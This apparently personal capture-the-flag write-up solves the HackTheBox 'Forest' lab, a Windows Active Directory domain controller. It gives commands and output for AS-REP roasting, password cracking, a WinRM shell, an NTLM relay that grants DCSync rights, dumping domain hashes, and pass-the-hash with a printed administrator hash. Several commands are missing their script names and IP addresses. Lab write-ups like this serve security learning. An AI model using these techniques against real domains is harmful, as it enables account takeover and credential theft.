Htb Forest Writeup

9 minute read

HackTheBox Forest Writeup


As a general overview this box provided me with an oppertunity to explore some common exploits using user account misconfiguration and NTLM Relay attacks whilst reinforcing my prior knowledge using tools like nmap and enum4linux.

Information Gathering

We start by running nmap to get an overview of the ports open on the system.

  > nmap -sC -sV
  Starting Nmap 7.80 ( ) at 2020-01-09 06:40 EST
  Nmap scan report for
  Host is up (0.40s latency).
  Not shown: 989 closed ports
  53/tcp   open  domain?
  | fingerprint-strings: 
  |   DNSVersionBindReqTCP: 
  |     version
  |_    bind
  88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-09 11:49:23Z)
  135/tcp  open  msrpc        Microsoft Windows RPC
  139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
  389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
  445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
  464/tcp  open  kpasswd5?
  593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
  636/tcp  open  tcpwrapped
  3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
  3269/tcp open  tcpwrapped
  5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  |_http-server-header: Microsoft-HTTPAPI/2.0
  |_http-title: Not Found
  1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
  Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

  Host script results:
  |_clock-skew: mean: 2h48m00s, deviation: 4h37m10s, median: 7m58s
  | smb-os-discovery: 
  |   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
  |   Computer name: FOREST
  |   NetBIOS computer name: FOREST\x00
  |   Domain name: htb.local
  |   Forest name: htb.local
  |   FQDN: FOREST.htb.local
  |_  System time: 2020-01-09T03:51:55-08:00
  | smb-security-mode: 
  |   account_used: <blank>                                                                                                      
  |   authentication_level: user                                                                                                 
  |   challenge_response: supported                                                                                              
  |_  message_signing: required                                                                                                  
  | smb2-security-mode:                                                                                                          
  |   2.02:                                                                                                                      
  |_    Message signing enabled and required                                                                                     
  | smb2-time:                                                                                                                   
  |   date: 2020-01-09T11:51:54                                                                                                  
  |_  start_date: 2020-01-09T11:18:57                                                                                            

  Service detection performed. Please report any incorrect results at .                                 
  Nmap done: 1 IP address (1 host up) scanned in 353.01 seconds

Looking at our initial scan we discover that this machine is running active directory. This is obvious as there are many common active directory services running such as kerberos on port 88, RPC on port 135, Netbios session service on port 139 and LDAP on port 389.

For future reference, kerberos is an authorization technology used by Windows to authenticate users to provide better system security. The general idea of kerberos is that the user will request an authentication ticket (TGT) from the domain controller where the user credentials will be validated before an encrypted TGT is returned. The user stores the TGT and when the session expires, another will be requested. The TGT is then used to request access to a service by sending TGT along with the service principle name to the domain controller to again be verified. If valid the domain controller will send back a valid session key that can be presented to a service to gain access.

Continuing on with enumeration we can run Enum4linux. Enum4linux is a tool used for enumerating information from windows systems and can retrieve information such as password policies, user names, group memberships and domain information.

  > enum4linux -a

The -a flag in this command means “all enumeration,” This outputs a huge amount of text so I won’t include the output here however looking through the results we are able to find a list of users on the system.


Getting User

A list of users on the machine opens up a huge amount of possibilities for attacks that can be performed. From general reading a few days before attempting this box I had come across a blog post by harmj0y about AS-REP Roasting which you can view here. This attack relies on the “Do not require Kerberos preauthentication” setting being enabled on a user account.

Referring back to the information about kerberos covered in the enumeration stage, this setting enables the attacker to request this TGT and no authentication is required.

To attempt to exploit this misconfiguration I started by looking for a tool within the impacket library. The impacket library is a collection of python classes for working with network protocols and contains a variety of categories including kerberos, windows secrets, MiTM Attacks, WMI and SMB.

As the misconfiguration is related to the granting of tickets we know that this is going to be a kerberos attack. Looking through this list of the different python classes we can see the file which will attempt to get TGTs for users that have the “Do not require kerberos preauthentication” property set.

  > ./ FOREST.htb.local/<user> -no-pass -dc-ip

I ran this command with each discovered username until I was finally given a hash for the user svc-alfresco.


I could then run john to crack this hash and get the password which was “s3rvice”.

  > john svc-alfrescoHash.txt

The final step was to now use these credentials to gain a shell in the system. As we discovered earlier in the nmap scan, port 5985 is open which is the remote management service. A quick google search reveals evil-winrm which will allow you to get a shell using valid credentials.

  > ./evil-winrm.rb -i -u 'htb\svc-alfresco' -p 's3rvice'  

You can now access user.txt in the Desktop folder of svc-alfresco.

Elevating Privileges Part 1

Now that I had a user account I started my enumeration by looking at local group permissions.

  > net groups

  Group Accounts for \\

  *Cloneable Domain Controllers
  *Compliance Management
  *Delegated Setup
  *Discovery Management
  *Domain Admins
  *Domain Computers
  *Domain Controllers
  *Domain Guests
  *Domain Users
  *Enterprise Admins
  *Enterprise Key Admins
  *Enterprise Read-only Domain Controllers
  *Exchange Servers
  *Exchange Trusted Subsystem
  *Exchange Windows Permissions
  *Group Policy Creator Owners
  *Help Desk
  *Hygiene Management
  *Key Admins
  *Managed Availability Servers
  *Organization Management
  *Privileged IT Accounts
  *Protected Users
  *Public Folder Management
  *Read-only Domain Controllers
  *Recipient Management
  *Records Management
  *Schema Admins
  *Security Administrator
  *Security Reader
  *Server Management
  *Service Accounts
  *UM Management
  *View-Only Organization Management
  The command completed with one or more errors.

Starting with net groups we are given a list of groups which we can do further research into.

Whilst researching these I found a blog post about an NTLM Relay attack which required a user with the Exchange Windows Permissions group. Before we can do this however we need a user that is in that group.

Using the following command we can see that svc-alfresco isn’t currently part of the Exchange windows group, so we need to try to find a way to add them to it.

  > net user /domain svc-alfresco
  User name                    svc-alfresco
  Full Name                    svc-alfresco
  User's comment
  Country/region code          000 (System Default)
  Account active               Yes
  Account expires              Never

  Password last set            3/20/2020 11:14:45 PM
  Password expires             Never
  Password changeable          3/21/2020 11:14:45 PM
  Password required            Yes
  User may change password     Yes

  Workstations allowed         All
  Logon script
  User profile
  Home directory
  Last logon                   9/23/2019 4:09:47 AM

  Logon hours allowed          All

  Local Group Memberships
  Global Group memberships     *Domain Users         *Service Accounts
  The command completed successfully.

We can add svc-alfresco to the group using the following command.

  > net group "Exchange Windows Permissions" svc-alfresco /ADD
  The command completed successfully.

Going back to look at svc-alfresco’s groups again we can see that it has been added.

  > net user /domain svc-alfresco
  User name                    svc-alfresco
  Full Name                    svc-alfresco
  User's comment
  Country/region code          000 (System Default)
  Account active               Yes
  Account expires              Never

  Password last set            3/20/2020 11:14:45 PM
  Password expires             Never
  Password changeable          3/21/2020 11:14:45 PM
  Password required            Yes
  User may change password     Yes

  Workstations allowed         All
  Logon script
  User profile
  Home directory
  Last logon                   9/23/2019 4:09:47 AM

  Logon hours allowed          All

  Local Group Memberships
  Global Group memberships     *Exchange Windows Perm*Domain Users
                               *Service Accounts
  The command completed successfully.

Elevating Privileges Part 2

Looking at this blog post we can see that we first need to run the script.

We can run this with

  > ./ -t ldap:// --escalate-user svc-alfresco

-t is used to specify the target which is the ldap protocol of the machine at ip Rather than create a new user to do this we use –escalate-user so that it will use the existing user.

With this running we can then open the http server which is used to authenticate. For this task we use

  > ./ -ah -u 'svc-alfresco' -d htb.local
  INFO: Using attacker URL:
  Traceback (most recent call last):
  File "", line 225, in <module>
  File "", line 140, in main
  session.request("POST", ews_url, POST_BODY % (args.exchange_version, attacker_url), headers)
  File "/usr/lib/python2.7/", line 1069, in request self._send_request(method, url, body, headers)
  File "/usr/lib/python2.7/", line 1109, in _send_request self.endheaders(body)
  File "/usr/lib/python2.7/", line 1065, in endheaders self._send_output(message_body)
  File "/usr/lib/python2.7/", line 892, in _send_output self.send(msg)
  File "/usr/lib/python2.7/", line 854, in send self.connect()
  File "/usr/lib/python2.7/", line 1282, in connect HTTPConnection.connect(self)
  File "/usr/lib/python2.7/", line 831, in connect self.timeout, self.source_address)
  File "/usr/lib/python2.7/", line 575, in create_connection raise err
  socket.error: [Errno 111] Connection refused

You don’t need to worry about the errors shown the program is still going to work.

We then navigate to http://localhost/privexchange and use svc-alfresco’s credentials.

If you now look back to the terminal where you executed the ntlmrelayx command it should show an incomming connection.

  [*] Protocol Client HTTP loaded..
  [*] Protocol Client HTTPS loaded..
  [*] Protocol Client SMB loaded..
  [*] Protocol Client LDAPS loaded..
  [*] Protocol Client LDAP loaded..
  [*] Protocol Client MSSQL loaded..
  [*] Protocol Client IMAPS loaded..
  [*] Protocol Client IMAP loaded..
  [*] Protocol Client SMTP loaded..
  [*] Running in relay mode to single host
  [*] Setting up SMB Server
  [*] Setting up HTTP Server
  [*] Servers started, waiting for connections
  [*] HTTPD: Received connection from, attacking target ldap://
  [*] HTTPD: Client requested path: /privexchange
  [*] HTTPD: Client requested path: /privexchange
  [*] HTTPD: Client requested path: /privexchange
  [*] Authenticating against ldap:// as \svc-alfresco SUCCEED
  [*] Enumerating relayed user's privileges. This may take a while on large domains
  [*] User privileges found: Create user
  [*] User privileges found: Modifying domain ACL
  [*] Querying domain security descriptor
  [*] Success! User svc-alfresco now has Replication-Get-Changes-All privileges on the domain
  [*] Try using DCSync with and this user :)
  [*] Saved restore state to aclpwn-20200109-211420.restore

Getting Root

svc-alfresco now has elevated privileges and so going back to impacket we can use the secretsdump,py script to dump all users including the administrator hashes.

 > ./ htb.local/svcalfresco@ -just-dc
  Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
  [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
  [*] Using the DRSUAPI method to get NTDS.DIT secrets

We use the -just-dc flag so that the program only targets the domain controller.

Here at the top we have the administrators hash that we can attempt to crack.


Cracking this hash fails, so we need to use it another way.

From prior reading I had read that rather than cracking hashes you can relay them on to the system in place of the password. I found a tool to do this in impacket by the name of wmiexec.

Running wmiexec returned a CMD shell with full administrator privileges.

  > ./ htb/administrator@ -hashes 'aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6'

You can now access root.txt in the Desktop folder of administrator.